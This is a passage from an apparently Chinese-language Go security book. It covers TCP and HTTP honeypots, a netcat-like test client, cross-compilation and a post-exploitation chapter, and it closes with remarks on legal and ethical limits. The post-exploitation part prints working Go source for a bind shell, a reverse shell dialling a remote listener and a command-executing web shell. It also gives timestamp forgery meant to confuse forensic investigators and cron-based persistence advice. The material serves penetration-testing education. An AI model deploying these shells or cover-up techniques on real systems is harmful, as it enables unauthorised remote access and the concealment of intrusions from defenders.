它会返回一个身份验证失败的消息。由于它会记录从客户端接收到的任何数据,因此会记录他们尝试使用的任何用户名和密码。通过检查他们尝试的身份验证方法,你可以了解他们的攻击方式,因为它就像一个黑箱,无法给出可能使用的身份验证机制的任何线索。你可以通过查看日志来判断他们是否将其当作 SMTP 服务器使用,这可能意味着他们是垃圾邮件发送者,或者他们可能尝试用数据库进行身份验证,表明他们在寻找信息。研究攻击者的行为可以为你提供很多见解,甚至能揭示你未曾意识到的漏洞。攻击者可能会在蜜罐上使用服务指纹工具,你可能能够识别出他们攻击方法中的模式,并找到阻止他们的方式。如果攻击者尝试使用真实用户凭证登录,那么该用户很可能已经被攻破。

这个示例将记录高层请求,如 HTTP 请求,以及低层连接,如 TCP 端口扫描器。TCP 连接扫描将被记录,但仅有 TCP SYN(隐匿)扫描不会被检测到:

package main

import (
   "bytes"
   "log"
   "net"
)

func handleConnection(conn net.Conn) {
   log.Printf("Received connection from %s.\n", conn.RemoteAddr())
   buff := make([]byte, 1024)
   nbytes, err := conn.Read(buff)
   if err != nil {
      log.Println("Error reading from connection. ", err)
   }
   // Always reply with a fake auth failed message
   conn.Write([]byte("Authentication failed."))
   trimmedOutput := bytes.TrimRight(buff, "\x00")
   log.Printf("Read %d bytes from %s.\n%s\n",
      nbytes, conn.RemoteAddr(), trimmedOutput)
   conn.Close()
}

func main() {
   portNumber := "9001" // or os.Args[1]
   ln, err := net.Listen("tcp", "localhost:"+portNumber)
   if err != nil {
       log.Fatalf("Error listening on port %s.\n%s\n",
          portNumber, err.Error())
   }
   log.Printf("Listening on port %s.\n", portNumber)
   for {
      conn, err := ln.Accept()
      if err != nil {
         log.Println("Error accepting connection.", err)
      }
      go handleConnection(conn)
   }
}

TCP 测试工具

为了测试我们的 TCP 蜜罐,我们需要向它发送一些 TCP 流量。我们可以使用任何现有的网络工具,包括 Web 浏览器或 FTP 客户端来访问蜜罐。一个很好的工具是 Netcat,它是 TCP/IP 的瑞士军刀。不过,我们不使用 Netcat,而是创建我们自己的简单克隆。它将简单地通过 TCP 读取和写入数据。输入和输出将通过标准输入和标准输出进行,允许你使用键盘和终端,或者将数据管道输入或输出到文件和其他应用程序。

该工具可以作为一个通用的网络测试工具,如果你有任何入侵检测系统或其他需要测试的监控工具,它可能会很有用。这个程序将从标准输入中获取数据,并通过 TCP 连接发送,然后读取服务器返回的任何数据并将其打印到标准输出。当运行这个示例时,必须将主机和端口作为一个包含冒号分隔符的字符串传递,像这样:localhost:9001。以下是这个简单 TCP 测试工具的代码:

package main

import (
   "bytes"
   "fmt"
   "log"
   "net"
   "os"
)

func checkArgs() string {
   if len(os.Args) != 2 {
      fmt.Println("Usage: " + os.Args[0] + " <targetAddress>")
      fmt.Println("Example: " + os.Args[0] + " localhost:9001")
      os.Exit(0)
   }
   return os.Args[1]
}

func main() {
   var err error
   targetAddress := checkArgs()
   conn, err := net.Dial("tcp", targetAddress)
   if err != nil {
      log.Fatal(err)
   }
   buf := make([]byte, 1024)

   _, err = os.Stdin.Read(buf)
   trimmedInput := bytes.TrimRight(buf, "\x00")
   log.Printf("%s\n", trimmedInput)

   _, writeErr := conn.Write(trimmedInput)
   if writeErr != nil {
      log.Fatal("Error sending data to remote host. ", writeErr)
   }

   _, readErr := conn.Read(buf)
   if readErr != nil {
      log.Fatal("Error when reading from remote host. ", readErr)
   }
   trimmedOutput := bytes.TrimRight(buf, "\x00")
   log.Printf("%s\n", trimmedOutput)
} 

HTTP POST 表单蜜罐

当你将这个程序部署到网络上时,除非进行有意的测试,否则任何表单提交都是一个警示信号。这意味着有人正在尝试登录到你的假服务器。由于没有合法的目的,只有攻击者才会有理由尝试获取访问权限。这里不会进行实际的身份验证或授权,只是一个伪装,让攻击者认为他们正在尝试登录。Go 的 HTTP 包在 Go 1.6 及以上版本中默认支持 HTTP 2。你可以在golang.org/pkg/net/http/ 阅读有关 net/http 包的更多信息。

以下程序将充当一个具有登录页面的 Web 服务器,旨在将表单提交记录到标准输出。你可以运行此服务器,然后尝试通过浏览器登录,登录尝试将会打印到运行该服务器的终端中:

package main 

import (
   "fmt"
   "log"
   "net/http"
)

// Correctly formatted function declaration to satisfy the
// Go http.Handler interface. Any function that has the proper
// request/response parameters can be used to process an HTTP request.
// Inside the request struct we have access to the info about
// the HTTP request and the remote client.
func logRequest(response http.ResponseWriter, request *http.Request) {
   // Write output to file or just redirect output of this 
   // program to file
   log.Println(request.Method + " request from " +  
      request.RemoteAddr + ". " + request.RequestURI)
   // If POST not empty, log attempt.
   username := request.PostFormValue("username")
   password := request.PostFormValue("pass")
   if username != "" || password != "" {
      log.Println("Username: " + username)
      log.Println("Password: " + password)
   }

   fmt.Fprint(response, "<html><body>")
   fmt.Fprint(response, "<h1>Login</h1>")
   if request.Method == http.MethodPost {
      fmt.Fprint(response, "<p>Invalid credentials.</p>")
   }
   fmt.Fprint(response, "<form method=\"POST\">")
   fmt.Fprint(response, 
      "User:<input type=\"text\" name=\"username\"><br>")
   fmt.Fprint(response, 
      "Pass:<input type=\"password\" name=\"pass\"><br>")
   fmt.Fprint(response, "<input type=\"submit\"></form><br>")
   fmt.Fprint(response, "</body></html>")
}

func main() {
   // Tell the default server multiplexer to map the landing URL to
   // a function called logRequest
   http.HandleFunc("/", logRequest)

   // Kick off the listener using that will run forever
   err := http.ListenAndServe(":8080", nil)
   if err != nil {
      log.Fatal("Error starting listener. ", err)
   }
} 

HTTP 表单字段蜜罐

在之前的示例中,我们讨论了创建一个假的登录表单来检测有人尝试登录。如果我们想要识别它是否是一个机器人呢?检测一个机器人是否试图登录的能力在生产站点中也很有用,可以用来阻止机器人。一种识别自动化机器人的方法是使用蜜罐表单字段。蜜罐表单字段是一个 HTML 表单中的输入字段,用户看不到它,并且在表单由人类提交时,应该是空的。机器人仍然会找到表单中的蜜罐字段并试图填写它们。

目标是让机器人认为表单字段是真实的,同时将其隐藏于用户之外。一些机器人会使用正则表达式查找诸如 useremail 这样的关键词,并只填写那些字段;因此,蜜罐字段通常使用诸如 email_addressuser_name 的名称,看起来像一个正常的字段。如果服务器在这些字段中接收到数据,它可以认为表单是由机器人提交的。

如果我们在上一个示例中的登录表单中添加了一个名为email的隐藏表单字段,机器人可能会尝试填写它,而人类则看不到它。可以使用 CSS 或input元素上的hidden属性隐藏表单字段。我建议您使用单独的样式表中的 CSS 来隐藏蜜罐表单字段,因为机器人可以轻松确定表单字段是否具有hidden属性,但要检测输入是否使用样式表隐藏则更困难。

沙盒技术

本章未展示的相关技术之一但值得一提的是沙盒技术。沙盒技术与蜜罐有不同的目的,但它们都致力于创建一个看起来合法但实际上是严格控制和监控的环境。一个沙盒的例子是创建一个没有网络连接的虚拟机,记录所有文件更改和尝试的网络连接,以查看是否发生了可疑事件。

有时,可以通过查看 CPU 数量和内存来检测沙盒环境。如果恶意应用程序检测到系统资源很少,比如 1 个 CPU 和 1GB RAM,那么它很可能不是现代台式机,可能是沙盒。恶意软件作者已经学会了指纹识别沙盒环境,并编程使应用程序在怀疑在沙盒中运行时绕过任何恶意操作。

总结

阅读完本章后,你现在应该理解社会工程学的一般概念,并能提供一些示例。你应该理解如何使用 JSON 与 REST API 交互,生成 QR 码和 Base64 编码数据,以及使用 SMTP 发送电子邮件。你还应该能够解释蜜罐的概念,并理解如何为自己的需求实现或扩展这些示例。

你能想到哪些其他类型的蜜罐?哪些常见服务经常受到暴力破解或频繁攻击?你如何自定义或扩展社会工程学的示例?你能想到任何其他可以用于信息收集的服务吗?

在下一章中,我们将涵盖后渗透主题,如部署绑定 shell、反向绑定 shell 或 web shell;交叉编译;查找可写文件;以及修改文件时间戳、权限和所有权。

第十三章:后期利用

后期利用指的是渗透测试的一个阶段,在这个阶段,机器已经被利用并且代码执行已可用。主要任务通常是保持持久性,以便你能够保持连接或留下一种稍后重新连接的方式。本章将介绍一些常见的持久性技术,即绑定 Shell、反向绑定 Shell 和 Web Shell。我们还将探讨交叉编译,这在从单一主机为不同操作系统编译 Shell 时非常有用。

后期利用阶段的其他目标包括寻找敏感数据、修改文件以及掩盖痕迹,以防取证人员能够找到证据。你可以通过更改文件的时间戳、修改权限、禁用 Shell 历史记录和删除日志来掩盖痕迹。本章将介绍一些查找有趣文件和掩盖痕迹的技术。

第四章,取证,与此密切相关,因为进行取证调查与探索一个刚被利用的机器并没有太大区别。两者的任务都是了解系统上有什么并寻找有趣的文件。同样,第五章,数据包捕获与注入,在从一个被利用的主机进行网络分析时也非常有用。许多工具,如查找大文件或查找最近修改的文件,在此阶段也会非常有帮助。有关此阶段可用的更多示例,请参考第四章,取证,和第五章,数据包捕获与注入

后期利用阶段涵盖了各种任务,包括特权提升、跳板攻击、窃取或销毁数据、以及主机和网络分析。由于其范围广泛,并且根据所利用的系统类型差异很大,本章将专注于一些在大多数场景中都很有用的狭义话题。

在进行这些练习时,尽量从攻击者的角度来看问题。在处理这些例子时保持这种思维方式将帮助你更好地理解如何保护你的系统。

本章将覆盖以下主题:

  • 交叉编译

  • 绑定 Shell

  • 反向绑定 Shell

  • Web Shell

  • 查找具有写权限的文件

  • 修改文件时间戳

  • 修改文件权限

  • 修改文件所有权

交叉编译

交叉编译是 Go 语言自带的一个功能,使用起来非常简单。如果你在 Linux 机器上进行渗透测试,且需要编译一个能够在你已经控制的 Windows 机器上运行的自定义反向 Shell,这个功能特别有用。

你可以针对多个架构和操作系统进行构建,所需做的只是修改一个环境变量。无需额外的工具或编译器。Go 内置了这一切。

只需将 GOARCHGOOS 环境变量更改为匹配你希望构建的目标平台。你可以为 Windows、Mac、Linux 等操作系统进行构建。你还可以为主流的 32 位和 64 位桌面处理器以及用于树莓派等设备的 ARM 和 MIPS 构建。

截至本文撰写时,GOARCH 的可能值如下:

386amd64
amd64p32arm
armbearm64
arm64beppc64
ppc64lemips
mipslemips64
mips64lemips64p32
mips64p32leppc
s390s390x
sparcsparc64

GOOS 的选项如下:

androiddarwin
dragonflyfreebsd
linuxnacl
netbsdopenbsd
plan9solaris
windowszos

请注意,并非每种架构都可以与每个操作系统一起使用。请参考 Go 官方文档 (golang.org/doc/install/source#environment) 了解哪些架构和操作系统可以组合使用。

如果你针对的是 ARM 平台,你可以通过设置 GOARM 环境变量来可选地指定 ARM 版本。系统会自动选择一个合理的默认值,建议不要更改它。目前可用的 GOARM 值有 567

在 Windows 中,按照此处的说明在命令提示符中设置环境变量:

Set GOOS=linux
Set GOARCH=amd64
go build myapp

在 Linux/Mac 中,你也可以通过多种方式设置环境变量,但你可以像这样为单个构建命令指定它:

GOOS=windows GOARCH=amd64 go build mypackage  

阅读更多关于环境变量和交叉编译的信息,参见 golang.org/doc/install/source#environment

这种交叉编译方法是随着 Go 1.5 引入的。在那之前,Go 开发者提供了一个 shell 脚本,但现在已经不再支持,并且已被归档在 github.com/davecheney/golang-crosscompile/tree/archive

创建绑定 shell

绑定 shell 是一种程序,它绑定到端口并监听连接,提供 shell 服务。每当收到一个连接时,它会运行一个 shell,如 Bash,并将标准输入、输出和错误句柄传递给远程连接。它可以永远监听并为多个传入连接提供 shell 服务。

绑定 shell 在你希望为机器添加持久访问时非常有用。你可以运行绑定 shell,然后断开连接或通过远程代码执行漏洞将绑定 shell 注入到内存中。

绑定 shell 最大的问题是防火墙和 NAT 路由可能会阻止直接远程访问计算机。传入连接通常会被阻止,或者被路由到无法连接到绑定 shell 的方式。基于这个原因,通常使用反向绑定 shell。下一部分将讲解反向绑定 shell。

在 Windows 上编译这个例子时,大小为 1,186 字节。考虑到一些用 C/Assembly 编写的 shell 可以小于 100 字节,这个大小算是相对较大。如果你在利用一个应用程序,你可能会有非常有限的空间来注入一个绑定 shell。你可以通过省略 log 包、删除可选的命令行参数以及忽略错误,来使这个示例更小。

可以使用 TLS 来代替明文传输,只需将 net.Listen() 替换为 tls.Listen()。第六章,加密学,提供了一个 TLS 客户端和服务器的示例。

接口是 Go 语言的一个强大特性,这里通过 reader 和 writer 接口展示了它的便利性。满足 reader 和 writer 接口的唯一要求是分别实现 .Read().Write() 函数。在这里,网络连接实现了 Read()Write() 函数,exec.Command 也是如此。由于它们实现了共享的接口,我们可以轻松地将 reader 和 writer 接口绑定在一起。

在这个例子中,我们将创建一个 Linux 的绑定 shell,使用内置的/bin/sh shell。它将绑定并监听连接,为任何连接的用户提供一个 shell:

// Call back to a remote server and open a shell session
package main

import (
   "fmt"
   "log"
   "net"
   "os"
   "os/exec"
)

var shell = "/bin/sh"

func main() {
   // Handle command line arguments
   if len(os.Args) != 2 {
      fmt.Println("Usage: " + os.Args[0] + " <bindAddress>")
      fmt.Println("Example: " + os.Args[0] + " 0.0.0.0:9999")
      os.Exit(1)
   }

   // Bind socket
   listener, err := net.Listen("tcp", os.Args[1])
   if err != nil {
      log.Fatal("Error connecting. ", err)
   }
   log.Println("Now listening for connections.")

   // Listen and serve shells forever
   for {
      conn, err := listener.Accept()
      if err != nil {
         log.Println("Error accepting connection. ", err)
      }
      go handleConnection(conn)
   }

}

// This function gets executed in a thread for each incoming connection
func handleConnection(conn net.Conn) {
   log.Printf("Connection received from %s. Opening shell.", 
   conn.RemoteAddr())
   conn.Write([]byte("Connection established. Opening shell.\n"))

   // Use the reader/writer interface to connect the pipes
   command := exec.Command(shell)
   command.Stdin = conn
   command.Stdout = conn
   command.Stderr = conn
   command.Run()

   log.Printf("Shell ended for %s", conn.RemoteAddr())
} 

创建反向绑定 shell

反向绑定 shell 解决了防火墙和 NAT 问题。它不是监听传入连接,而是主动拨号到一个远程服务器(一个你控制并且在监听的服务器)。当你在你的计算机上收到连接时,你就拥有了一个运行在防火墙后面的计算机上的 shell。

这个例子使用了明文 TCP 套接字,但你可以轻松地将 net.Dial() 替换为 tls.Dial()。第六章,加密学,提供了 TLS 客户端和服务器的示例,如果你想修改这些示例以使用 TLS。

// Call back to a remote server and open a shell session
package main

import (
   "fmt"
   "log"
   "net"
   "os"
   "os/exec"
)

var shell = "/bin/sh"

func main() {
   // Handle command line arguments
   if len(os.Args) < 2 {
      fmt.Println("Usage: " + os.Args[0] + " <remoteAddress>")
      fmt.Println("Example: " + os.Args[0] + " 192.168.0.27:9999")
      os.Exit(1)
   }

   // Connect to remote listener
   remoteConn, err := net.Dial("tcp", os.Args[1])
   if err != nil {
      log.Fatal("Error connecting. ", err)
   }
   log.Println("Connection established. Launching shell.")

   command := exec.Command(shell)
   // Take advantage of reader/writer interfaces to tie inputs/outputs
   command.Stdin = remoteConn
   command.Stdout = remoteConn
   command.Stderr = remoteConn
   command.Run()
} 

创建 Web shell

Web shell 类似于绑定 shell,但是它不是作为原始的 TCP 套接字进行监听,而是作为 HTTP 服务器监听和通信。这是一种创建持久访问机器的有用方法。

Web shell 可能是必要的原因之一,是因为防火墙或其他网络限制。HTTP 流量可能与其他流量的处理方式不同。有时,80443 端口是唯一可以通过防火墙的端口。一些网络可能会检查流量,确保只有格式为 HTTP 的请求可以通过。

请记住,使用纯 HTTP 意味着流量可能以明文记录。可以使用 HTTPS 来加密流量,但 SSL 证书和密钥将存储在服务器上,服务器管理员可以访问它。要使此示例使用 SSL,你只需将http.ListenAndServe()更改为http.ListenAndServeTLS()。此示例在第九章中提供,Web 应用程序

Web shell 的方便之处在于,你可以使用任何 Web 浏览器和命令行工具,例如curlwget。你甚至可以使用netcat手动构造 HTTP 请求。缺点是,你没有一个真正交互式的 shell,且每次只能发送一个命令。如果你用分号分隔多个命令,你可以用一条字符串运行多个命令。

你可以手动在netcat中或使用类似的自定义 TCP 客户端构造 HTTP 请求,如下所示:

GET /?cmd=whoami HTTP/1.0\n\n  

这类似于由 Web 浏览器创建的请求。例如,如果你运行webshell localhost:8080,你可以访问端口8080上的 URL,并使用http://localhost:8080/?cmd=df运行命令。

请注意,/bin/sh命令适用于 Linux 和 Mac。Windows 使用cmd.exe命令提示符。在 Windows 上,你可以启用 Windows 子系统 Linux,并从 Windows 商店安装 Ubuntu,以在不安装虚拟机的情况下在 Linux 环境中运行所有这些 Linux 示例。

在下一个示例中,Web shell 创建了一个简单的 Web 服务器,监听 HTTP 请求。当它收到请求时,它会查找名为cmdGET查询。它将执行一个 shell,运行提供的命令,并将结果作为 HTTP 响应返回:

package main

import (
   "fmt"
   "log"
   "net/http"
   "os"
   "os/exec"
)

var shell = "/bin/sh"
var shellArg = "-c"

func main() {
   if len(os.Args) != 2 {
      fmt.Printf("Usage: %s <listenAddress>\n", os.Args[0])
      fmt.Printf("Example: %s localhost:8080\n", os.Args[0])
      os.Exit(1)
   }

   http.HandleFunc("/", requestHandler)
   log.Println("Listening for HTTP requests.")
   err := http.ListenAndServe(os.Args[1], nil)
   if err != nil {
      log.Fatal("Error creating server. ", err)
   }
}

func requestHandler(writer http.ResponseWriter, request *http.Request) {
   // Get command to execute from GET query parameters
   cmd := request.URL.Query().Get("cmd")
   if cmd == "" {
      fmt.Fprintln(
         writer,
         "No command provided. Example: /?cmd=whoami")
      return
   }

   log.Printf("Request from %s: %s\n", request.RemoteAddr, cmd)
   fmt.Fprintf(writer, "You requested command: %s\n", cmd)

   // Run the command
   command := exec.Command(shell, shellArg, cmd)
   output, err := command.Output()
   if err != nil {
      fmt.Fprintf(writer, "Error with command.\n%s\n", err.Error())
   }

   // Write output of command to the response writer interface
   fmt.Fprintf(writer, "Output: \n%s\n", output)
} 

查找可写文件

一旦你获得了系统的访问权限,你会开始探索。通常,你会寻找提升权限或保持持久性的方式。寻找持久性的方法之一是识别哪些文件具有写权限。

你可以查看文件权限设置,看看你自己或其他人是否具有写权限。你可以显式查找像777这样的模式,但更好的方法是使用位掩码,专门查看写权限位。

权限由多个位表示:用户权限、组权限,最后是每个人的权限。0777权限的字符串表示形式如下:-rwxrwxrwx。我们关注的位是赋予每个人写权限的位,表示为--------w-

第二个位是我们唯一关心的,因此我们将使用按位与操作将文件权限与0002进行掩码。如果该位被设置,它将保持唯一的设置。如果未设置,它将保持关闭,整个值将为0。要检查组或用户的写权限位,你可以分别使用00200200进行按位与操作。

要递归地搜索目录,Go 提供了标准库中的path/filepath包。此函数只需要一个起始目录和一个函数。它会对找到的每个文件执行该函数。它期望的函数实际上是一个特别定义的类型。定义如下:

type WalkFunc func(path string, info os.FileInfo, err error) error  

只要你创建一个匹配此格式的函数,你的函数就会与WalkFunc类型兼容,并且可以在filepath.Walk()函数中使用。

在下一个示例中,我们将遍历一个起始目录并检查每个文件的权限。我们还会检查子目录。任何当前用户可以写入的文件将被打印到标准输出:

package main

import (
   "fmt"
   "log"
   "os"
   "path/filepath"
)

func main() {
   if len(os.Args) != 2 {
      fmt.Println("Recursively look for files with the " + 
         "write bit set for everyone.")
      fmt.Println("Usage: " + os.Args[0] + " <path>")
      fmt.Println("Example: " + os.Args[0] + " /var/log")
      os.Exit(1)
   }
   dirPath := os.Args[1]

   err := filepath.Walk(dirPath, checkFilePermissions)
   if err != nil {
      log.Fatal(err)
   }
}

func checkFilePermissions(
   path string,
   fileInfo os.FileInfo,
   err error,
) error {
   if err != nil {
      log.Print(err)
      return nil
   }

   // Bitwise operators to isolate specific bit groups
   maskedPermissions := fileInfo.Mode().Perm() & 0002
   if maskedPermissions == 0002 {
      fmt.Println("Writable: " + fileInfo.Mode().Perm().String() + 
         " " + path)
   }

   return nil
} 

更改文件时间戳

以与修改文件权限相同的方式,你可以修改时间戳,使其看起来像是过去或未来修改过的。这在掩盖痕迹时非常有用,可以让文件看起来像是很久没有访问过,或者将其设置为未来的某个日期,以混淆取证调查人员。Go 的os包包含了修改文件的工具。

在下一个示例中,一个文件的时间戳被修改为看起来像是在未来被修改。你可以调整futureTime变量,使文件看起来像是在任何特定时间被修改。这个示例通过将当前时间加上 50 小时 15 分钟来提供一个相对时间,但你也可以指定一个绝对时间:

package main

import (
   "fmt"
   "log"
   "os"
   "time"
)

func main() {
   if len(os.Args) != 2 {
      fmt.Printf("Usage: %s <filename>", os.Args[0])
      fmt.Printf("Example: %s test.txt", os.Args[0])
      os.Exit(1)
   }

   // Change timestamp to a future time
   futureTime := time.Now().Add(50 * time.Hour).Add(15 * time.Minute)
   lastAccessTime := futureTime
   lastModifyTime := futureTime
   err := os.Chtimes(os.Args[1], lastAccessTime, lastModifyTime)
   if err != nil {
      log.Println(err)
   }
} 

更改文件权限

更改文件权限,以便稍后从较低权限的用户访问该文件也可能很有用。这个示例演示了如何使用os包更改文件权限。你可以轻松地使用os.Chmod()函数更改文件权限。

这个程序被命名为chmode.go,以避免与大多数系统上提供的默认chmod程序发生冲突。它具有与chmod相同的基本功能,但没有额外的功能。

os.Chmod()函数非常简单,但必须提供os.FileMode类型。os.FileMode类型其实只是一个uint32类型,因此你可以提供一个uint32字面量(硬编码数字),或者你必须确保提供的文件模式值已转换为os.FileMode类型。在这个例子中,我们将从命令行获取字符串值(例如,"777"),并将其转换为无符号整数。我们会告诉strconv.ParseUint()将其视为八进制数字,而不是十进制数字。我们还会提供strconv.ParseUint()一个 32 的参数,这样我们将返回 32 位数字,而不是 64 位数字。在获得来自字符串值的无符号 32 位整数后,我们将其转换为os.FileMode类型。这就是标准库中os.FileMode的定义方式:

type FileMode uint32  

在下一个示例中,文件的权限被更改为作为命令行参数提供的值。它的行为类似于 Linux 中的chmod程序,并接受八进制格式的权限值:

package main

import (
   "fmt"
   "log"
   "os"
   "strconv"
)

func main() {
   if len(os.Args) != 3 {
      fmt.Println("Change the permissions of a file.")
      fmt.Println("Usage: " + os.Args[0] + " <mode> <filepath>")
      fmt.Println("Example: " + os.Args[0] + " 777 test.txt")
      fmt.Println("Example: " + os.Args[0] + " 0644 test.txt")
      os.Exit(1)
   }
   mode := os.Args[1]
   filePath := os.Args[2]

   // Convert the mode value from string to uin32 to os.FileMode
   fileModeValue, err := strconv.ParseUint(mode, 8, 32)
   if err != nil {
      log.Fatal("Error converting permission string to octal value. ", 
         err)
   }
   fileMode := os.FileMode(fileModeValue)

   err = os.Chmod(filePath, fileMode)
   if err != nil {
      log.Fatal("Error changing permissions. ", err)
   }
   fmt.Println("Permissions changed for " + filePath)
} 

更改文件所有权

该程序将接受提供的文件并更改用户和组的所有权。这可以与查找你有权限修改的文件的示例一起使用。

Go 标准库提供了os.Chown(),但是它不接受用户和组名称的字符串值。用户和组必须以整数 ID 值的形式提供。幸运的是,Go 还带有一个os/user包,其中包含根据名称查找 ID 的函数。这些函数是user.Lookup()user.LookupGroup()

你可以通过在 Linux/Mac 上运行idwhoamigroups命令来查看你自己的用户和组信息。

请注意,这在 Windows 上不起作用,因为所有权的处理方式不同。以下是该示例的代码实现:

package main

import (
   "fmt"
   "log"
   "os"
   "os/user"
   "strconv"
)

func main() {
   // Check command line arguments
   if len(os.Args) != 4 {
      fmt.Println("Change the owner of a file.")
      fmt.Println("Usage: " + os.Args[0] + 
         " <user> <group> <filepath>")
      fmt.Println("Example: " + os.Args[0] +
         " dano dano test.txt")
      fmt.Println("Example: sudo " + os.Args[0] + 
         " root root test.txt")
      os.Exit(1)
   }
   username := os.Args[1]
   groupname := os.Args[2]
   filePath := os.Args[3]

   // Look up user based on name and get ID
   userInfo, err := user.Lookup(username)
   if err != nil {
      log.Fatal("Error looking up user "+username+". ", err)
   }
   uid, err := strconv.Atoi(userInfo.Uid)
   if err != nil {
      log.Fatal("Error converting "+userInfo.Uid+" to integer. ", err)
   }

   // Look up group name and get group ID
   group, err := user.LookupGroup(groupname)
   if err != nil {
      log.Fatal("Error looking up group "+groupname+". ", err)
   }
   gid, err := strconv.Atoi(group.Gid)
   if err != nil {
      log.Fatal("Error converting "+group.Gid+" to integer. ", err)
   }

   fmt.Printf("Changing owner of %s to %s(%d):%s(%d).\n",
      filePath, username, uid, groupname, gid)
   os.Chown(filePath, uid, gid)
} 

总结

阅读完这一章后,你应该对攻击后的利用阶段有了一个高层次的理解。通过操作示例并从攻击者的角度思考,你应该能更好地理解如何保护你的文件和网络。这个阶段主要涉及持久性和信息收集。你还可以使用被利用的机器来执行第十一章中的所有示例,主机发现与枚举

绑定 shell、反向绑定 shell 和 Web shell 是攻击者用来保持持久性的技术示例。即使你不需要使用绑定 shell,理解它是什么以及攻击者如何使用它也很重要,如果你想识别恶意行为并保持系统安全。你可以使用第十一章中的端口扫描示例,主机发现与枚举,来搜索具有监听绑定 shell 的机器。你还可以使用第五章中的数据包捕获示例,数据包捕获与注入,来查找传出的反向绑定 shell。

查找可写文件可以为你提供查看文件系统所需的工具。Walk()函数的演示非常强大,可以适应许多不同的用例。你可以轻松调整它,搜索具有不同特征的文件。例如,可能你想缩小搜索范围,查找由 root 拥有但同时对你可写的文件,或者查找某种特定扩展名的文件。

一旦你获得访问权限后,还会在机器上查找哪些其他内容?你能想到其他任何方法来恢复连接吗?Cron 作业是你可以执行代码的一种方式,如果你发现一个 Cron 作业执行了一个你有写权限的脚本。如果你能够修改一个 Cron 脚本,那么你可能每天都能通过反向 shell 回拨给你,这样你就不需要保持一个活跃的会话,而这种会话更容易通过像netstat这样的工具来识别已建立的连接。

记住,在进行渗透测试或执行任何测试时,要始终保持责任心。即使你拥有完整的测试范围,理解你所采取的任何行动可能带来的后果也是至关重要的。例如,如果你为客户执行渗透测试,并且拥有完整的范围,你可能会在生产系统上发现一个漏洞。你可能会考虑安装一个 bind shell 后门来证明你能维持持久性。如果我们考虑到面对互联网的生产服务器,在没有加密且没有密码的情况下,将一个 bind shell 开放给整个互联网,显然是非常不负责任的。如果你对某些软件或命令的后果不确定,别害怕向其他有经验的人请教。

在下一章中,我们将回顾你在本书中学到的内容。我将提供一些关于 Go 语言在安全领域应用的思考,希望你能从本书中收获这些见解,并讨论从这里出发应该走向何方,以及在哪里寻找帮助。我们还将再次反思使用本书中的信息时涉及的法律、伦理和技术边界。

第十四章:结论

回顾你学到的内容

到目前为止,本书涵盖了许多关于 Go 和信息安全的主题。这些内容对多种人群都很有帮助,包括开发人员、渗透测试员、SOC 分析师、计算机取证分析师、网络与安全工程师以及 DevOps 工程师。以下是涵盖主题的高级概览:

  • Go 编程语言

  • 操作文件

  • 取证

  • 数据包捕获与注入

  • 加密学

  • 安全外壳(SSH)

  • 暴力破解

  • Web 应用程序

  • 网页抓取

  • 主机发现与枚举

  • 社会工程学和蜜罐

  • 后期利用

关于 Go 使用的更多思考

Go 是一门非常棒的语言,它是许多用例中的可靠选择,但像其他任何语言一样,它并不是万能的语言。正如老话所说,“总是选择最适合工作的工具。”在本书中,我们探讨了 Go 和标准库的多功能性。Go 也在性能、生产环境中的可靠性、并发性和内存使用方面表现出色,但强大的静态类型系统可能会减缓开发速度,使得 Python 更适合用于简单的概念验证。值得注意的是,你可以通过用 Go 编写 Python 模块来扩展 Python。

在一些情况下,C 编程语言可能是一个更好的选择,尤其是当你不想使用垃圾回收器但又需要编译出最小的二进制文件时。Go 确实提供了一个不安全的包,可以绕过类型安全,但它没有 C 语言那样提供更多的控制。Go 允许你封装 C 库并创建绑定,这样你就可以使用任何没有 Go 等价库的 C 库。

Go 和网络安全行业都显示出增长的迹象。Go 语言正在持续进化,语言中的一些较弱领域开始显示出有希望的迹象。例如,Qt 和 Gtk 等 GUI 库正在 Go 中封装,而 OpenGL 等 3D 图形库也有了封装。即使是移动开发也是可能的,并且持续改进。

还有一些我们未涉及的标准库中有用的包,比如用于处理二进制数据的 binary 包、用于编码和解码 XML 文档的 xml 包,以及用于解析命令行参数的 flag 包。

我希望你从这本书中获得的收获

读完这本书后,你应该对标准库中有哪些包以及 Go 语言在开箱即用情况下的多功能性有一个清晰的了解。你应该能够自如地使用 Go 进行各种任务,从简单的任务,如操作文件和建立网络连接,到更高级的任务,如抓取网站和捕获数据包。我也希望你能从中获得一些编写地道 Go 代码的技巧。

提供的示例程序应作为构建你自己工具的参考。许多程序可以直接使用,可以立即纳入你的工具包,而少数程序仅作为参考,帮助你执行常见任务。

注意法律、伦理和技术边界

对于你对机器或网络采取的任何行动,了解可能产生的后果至关重要。存在法律边界,可能会导致罚款或监禁,具体取决于法律和司法管辖区。例如,在美国,计算机欺诈和滥用法案CFAA)使得未经授权访问计算机成为非法行为。不要总是认为授权渗透测试范围的客户有权在每一台设备上授权你。公司可以租赁物理服务器或租用他们不拥有的数据中心的虚拟或物理空间,这时你也需要从其他来源获得授权。

还有需要注意的伦理边界,这与法律边界不同。伦理边界对某些人来说可能是一个灰色区域。例如,在社会工程学中,如果你针对员工,是否认为在工作时间外进行社会工程攻击是可以接受的?是否可以向他们的个人电子邮件地址发送钓鱼邮件?是否可以冒充另一个员工并对他人撒谎?伦理的其他方面包括你在被攻陷的服务器上的行为,以及你如何处理找到的数据。如果在渗透测试过程中获取了客户数据,是否可以将其存储在外部?在渗透测试中,是否可以在客户的生产服务器上创建自己的用户?对于不同的情况,某些人可能会对伦理边界的界定产生不同的看法。意识到这些问题并在开始工作前与客户进行讨论非常重要。

除了法律和伦理方面,理解技术后果以及你的工具对服务器、网络、负载均衡器、交换机等的物理负载也至关重要。确保为网络爬虫和暴力破解工具设置合理的限制。同时,确保记录和跟踪你所采取的任何行动,以便能够撤销任何永久性更改。如果你为客户执行渗透测试,不应在其服务器上留下不必要的文件。例如,如果你安装了反向绑定 shell,请确保卸载它。如果你修改了文件权限或安装了绑定 shell,请确保没有为客户打开外部攻击的漏洞。

在安全领域工作时需要注意很多事情,但很多事情归根结底都是常识和谨慎行事。尊重你攻击的服务器,如果不理解其影响,请不要采取任何行动。如果不确定,向可信赖的经验丰富的同行或社区寻求指导。

接下来该做什么

开始构建你的工具箱和手册。使用对你有用的示例,并根据需要进行定制。对现有的一些示例进行扩展。你能想到其他的想法吗?如何修改一些程序使其更加有用?这些示例能否直接作为你工具箱中的一部分?它们是否给你提供了其他自定义工具的灵感?深入探索 Go 标准库,编写应用程序来充实你的工具箱。

